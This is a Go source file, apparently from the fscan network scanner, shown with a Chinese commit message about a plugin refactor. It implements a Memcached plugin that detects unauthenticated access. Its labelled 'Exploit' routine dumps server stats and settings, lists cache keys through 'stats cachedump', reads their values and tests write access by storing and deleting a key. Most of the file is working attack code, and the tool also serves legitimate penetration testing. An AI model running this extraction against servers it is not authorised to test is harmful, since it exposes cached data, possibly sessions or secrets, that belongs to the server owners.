fscan/plugins/memcached.go
ZacharyZcR 678d750c8a refactor: 重构插件架构,实现单文件插件系统
将复杂的三文件插件架构(connector/exploiter/plugin)重构为简化的单文件插件架构,
大幅减少代码重复和维护成本,提升插件开发效率。

主要改进:
• 将每个服务插件从3个文件简化为1个文件
• 删除过度设计的工厂模式、适配器模式等抽象层
• 消除plugins/services/、plugins/adapters/、plugins/base/复杂目录结构
• 实现直接的插件注册机制,提升系统简洁性
• 保持完全向后兼容,所有扫描功能和输出格式不变

重构统计:
• 删除文件:100+个复杂架构文件
• 新增文件:20个简化的单文件插件
• 代码减少:每个插件减少60-80%代码量
• 功能增强:所有插件包含完整扫描和利用功能

已重构插件: MySQL, SSH, Redis, MongoDB, PostgreSQL, MSSQL, Oracle,
Neo4j, Memcached, RabbitMQ, ActiveMQ, Cassandra, FTP, Kafka, LDAP,
Rsync, SMTP, SNMP, Telnet, VNC

验证通过: 新系统编译运行正常,所有插件功能验证通过
2025-08-25 23:57:00 +08:00

418 lines
10 KiB
Go
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

package plugins
import (
"context"
"fmt"
"net"
"strings"
"time"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/i18n"
)
// MemcachedPlugin Memcached分布式缓存系统扫描和利用插件 - 包含缓存数据提取利用功能
type MemcachedPlugin struct {
name string
ports []int
}
// NewMemcachedPlugin 创建Memcached插件
func NewMemcachedPlugin() *MemcachedPlugin {
return &MemcachedPlugin{
name: "memcached",
ports: []int{11211, 11212, 11213}, // Memcached端口
}
}
// GetName 实现Plugin接口
func (p *MemcachedPlugin) GetName() string {
return p.name
}
// GetPorts 实现Plugin接口
func (p *MemcachedPlugin) GetPorts() []int {
return p.ports
}
// Scan 执行Memcached扫描 - 未授权访问检测
func (p *MemcachedPlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanResult {
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
// 如果禁用暴力破解,只做服务识别
if common.DisableBrute {
return p.identifyService(ctx, info)
}
// Memcached主要检查未授权访问
if result := p.testUnauthorizedAccess(ctx, info); result != nil && result.Success {
common.LogSuccess(i18n.GetText("memcached_unauth_success", target))
return result
}
// 未授权访问失败
return &ScanResult{
Success: false,
Service: "memcached",
Error: fmt.Errorf("Memcached服务连接失败"),
}
}
// Exploit 执行Memcached利用操作 - 实现缓存数据提取功能
func (p *MemcachedPlugin) Exploit(ctx context.Context, info *common.HostInfo, creds Credential) *ExploitResult {
// 建立Memcached连接
conn := p.connectToMemcached(ctx, info)
if conn == nil {
return &ExploitResult{
Success: false,
Error: fmt.Errorf("Memcached连接失败"),
}
}
defer conn.Close()
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
common.LogSuccess(fmt.Sprintf("Memcached利用开始: %s", target))
var output strings.Builder
output.WriteString(fmt.Sprintf("=== Memcached利用结果 - %s ===\n", target))
// 获取服务器统计信息
if stats := p.getStats(conn); stats != "" {
output.WriteString(fmt.Sprintf("\n[服务器统计]\n%s\n", stats))
}
// 获取版本信息
if version := p.getVersion(conn); version != "" {
output.WriteString(fmt.Sprintf("\n[版本信息]\n%s\n", version))
}
// 获取所有键
if keys := p.getAllKeys(conn); len(keys) > 0 {
output.WriteString(fmt.Sprintf("\n[缓存键] (共%d个)\n", len(keys)))
for i, key := range keys {
if i >= 20 { // 限制显示前20个键
output.WriteString("... (更多键值)\n")
break
}
// 获取键的值
value := p.getValue(conn, key)
if len(value) > 100 {
value = value[:100] + "..."
}
output.WriteString(fmt.Sprintf(" %s: %s\n", key, value))
}
}
// 获取设置信息
if settings := p.getSettings(conn); settings != "" {
output.WriteString(fmt.Sprintf("\n[配置设置]\n%s\n", settings))
}
// 测试写权限
if writeTest := p.testWritePermission(conn); writeTest != "" {
output.WriteString(fmt.Sprintf("\n[写权限测试]\n%s\n", writeTest))
}
common.LogSuccess(fmt.Sprintf("Memcached利用完成: %s", target))
return &ExploitResult{
Success: true,
Output: output.String(),
}
}
// testUnauthorizedAccess 测试未授权访问
func (p *MemcachedPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo) *ScanResult {
conn := p.connectToMemcached(ctx, info)
if conn == nil {
return nil
}
defer conn.Close()
// 尝试执行stats命令测试
if p.testBasicCommand(conn) {
return &ScanResult{
Success: true,
Service: "memcached",
Banner: "未授权访问",
}
}
return nil
}
// connectToMemcached 连接到Memcached服务
func (p *MemcachedPlugin) connectToMemcached(ctx context.Context, info *common.HostInfo) net.Conn {
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
timeout := time.Duration(common.Timeout) * time.Second
conn, err := net.DialTimeout("tcp", target, timeout)
if err != nil {
return nil
}
// 设置操作超时
conn.SetDeadline(time.Now().Add(timeout))
return conn
}
// testBasicCommand 测试基本命令
func (p *MemcachedPlugin) testBasicCommand(conn net.Conn) bool {
timeout := time.Duration(common.Timeout) * time.Second
// 发送version命令
conn.SetWriteDeadline(time.Now().Add(timeout))
if _, err := conn.Write([]byte("version\r\n")); err != nil {
return false
}
// 读取响应
conn.SetReadDeadline(time.Now().Add(timeout))
response := make([]byte, 1024)
n, err := conn.Read(response)
if err != nil {
return false
}
responseStr := string(response[:n])
return strings.Contains(responseStr, "VERSION") || strings.Contains(responseStr, "memcached")
}
// sendCommand 发送Memcached命令
func (p *MemcachedPlugin) sendCommand(conn net.Conn, command string) string {
timeout := time.Duration(common.Timeout) * time.Second
conn.SetWriteDeadline(time.Now().Add(timeout))
if _, err := conn.Write([]byte(command + "\r\n")); err != nil {
return ""
}
conn.SetReadDeadline(time.Now().Add(timeout))
response := make([]byte, 4096)
n, err := conn.Read(response)
if err != nil {
return ""
}
return strings.TrimSpace(string(response[:n]))
}
// getStats 获取统计信息
func (p *MemcachedPlugin) getStats(conn net.Conn) string {
response := p.sendCommand(conn, "stats")
if response == "" {
return ""
}
lines := strings.Split(response, "\n")
var stats strings.Builder
for _, line := range lines {
line = strings.TrimSpace(line)
if strings.HasPrefix(line, "STAT") {
parts := strings.Fields(line)
if len(parts) >= 3 {
key := parts[1]
value := parts[2]
// 只显示重要的统计信息
if key == "version" || key == "uptime" || key == "curr_items" ||
key == "total_items" || key == "bytes" || key == "curr_connections" ||
key == "cmd_get" || key == "cmd_set" || key == "get_hits" || key == "get_misses" {
stats.WriteString(fmt.Sprintf("%s: %s\n", key, value))
}
}
}
}
return stats.String()
}
// getVersion 获取版本信息
func (p *MemcachedPlugin) getVersion(conn net.Conn) string {
response := p.sendCommand(conn, "version")
if strings.HasPrefix(response, "VERSION") {
return strings.TrimPrefix(response, "VERSION ")
}
return ""
}
// getAllKeys 获取所有键通过stats cachedump
func (p *MemcachedPlugin) getAllKeys(conn net.Conn) []string {
var keys []string
// 首先获取slabs信息
slabsResponse := p.sendCommand(conn, "stats slabs")
if slabsResponse == "" {
return keys
}
// 解析slab ID
slabIDs := make(map[string]bool)
lines := strings.Split(slabsResponse, "\n")
for _, line := range lines {
line = strings.TrimSpace(line)
if strings.HasPrefix(line, "STAT") {
parts := strings.Fields(line)
if len(parts) >= 2 {
statName := parts[1]
// 格式如: "1:chunk_size"
if strings.Contains(statName, ":") {
slabID := strings.Split(statName, ":")[0]
slabIDs[slabID] = true
}
}
}
}
// 对每个slab ID执行cachedump
for slabID := range slabIDs {
if len(keys) >= 50 { // 限制键的数量
break
}
dumpCmd := fmt.Sprintf("stats cachedump %s 50", slabID)
dumpResponse := p.sendCommand(conn, dumpCmd)
dumpLines := strings.Split(dumpResponse, "\n")
for _, line := range dumpLines {
line = strings.TrimSpace(line)
if strings.HasPrefix(line, "ITEM") {
parts := strings.Fields(line)
if len(parts) >= 2 {
key := parts[1]
keys = append(keys, key)
}
}
}
}
return keys
}
// getValue 获取键的值
func (p *MemcachedPlugin) getValue(conn net.Conn, key string) string {
getCmd := fmt.Sprintf("get %s", key)
response := p.sendCommand(conn, getCmd)
lines := strings.Split(response, "\n")
for i, line := range lines {
line = strings.TrimSpace(line)
if strings.HasPrefix(line, "VALUE") {
// VALUE行的下一行是实际值
if i+1 < len(lines) {
value := strings.TrimSpace(lines[i+1])
if value != "END" {
return value
}
}
}
}
return "[无法获取]"
}
// getSettings 获取设置信息
func (p *MemcachedPlugin) getSettings(conn net.Conn) string {
response := p.sendCommand(conn, "stats settings")
if response == "" {
return ""
}
lines := strings.Split(response, "\n")
var settings strings.Builder
for _, line := range lines {
line = strings.TrimSpace(line)
if strings.HasPrefix(line, "STAT") {
parts := strings.Fields(line)
if len(parts) >= 3 {
key := parts[1]
value := parts[2]
// 只显示重要的设置
if key == "maxbytes" || key == "maxconns" || key == "growth_factor" ||
key == "chunk_size" || key == "num_threads" || key == "cas_enabled" {
settings.WriteString(fmt.Sprintf("%s: %s\n", key, value))
}
}
}
}
return settings.String()
}
// testWritePermission 测试写权限
func (p *MemcachedPlugin) testWritePermission(conn net.Conn) string {
// 尝试设置一个测试键
setCmd := "set fscan_test 0 60 11\r\nfscan_test\r\n"
timeout := time.Duration(common.Timeout) * time.Second
conn.SetWriteDeadline(time.Now().Add(timeout))
if _, err := conn.Write([]byte(setCmd)); err != nil {
return "❌ 无写权限: " + err.Error()
}
conn.SetReadDeadline(time.Now().Add(timeout))
response := make([]byte, 512)
n, err := conn.Read(response)
if err != nil {
return "❌ 写入测试失败: " + err.Error()
}
responseStr := strings.TrimSpace(string(response[:n]))
if responseStr == "STORED" {
// 删除测试键
p.sendCommand(conn, "delete fscan_test")
return "✅ 具有读写权限"
}
return "❌ 写入失败: " + responseStr
}
// identifyService 服务识别 - 检测Memcached服务
func (p *MemcachedPlugin) identifyService(ctx context.Context, info *common.HostInfo) *ScanResult {
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
conn := p.connectToMemcached(ctx, info)
if conn == nil {
return &ScanResult{
Success: false,
Service: "memcached",
Error: fmt.Errorf("无法连接到Memcached服务"),
}
}
defer conn.Close()
// 尝试识别Memcached协议
version := p.getVersion(conn)
var banner string
if version != "" {
banner = fmt.Sprintf("Memcached服务 (版本: %s)", version)
} else if p.testBasicCommand(conn) {
banner = "Memcached分布式缓存服务"
} else {
return &ScanResult{
Success: false,
Service: "memcached",
Error: fmt.Errorf("无法识别为Memcached服务"),
}
}
common.LogSuccess(i18n.GetText("memcached_service_identified", target, banner))
return &ScanResult{
Success: true,
Service: "memcached",
Banner: banner,
}
}
// init 自动注册插件
func init() {
RegisterPlugin("memcached", func() Plugin {
return NewMemcachedPlugin()
})
}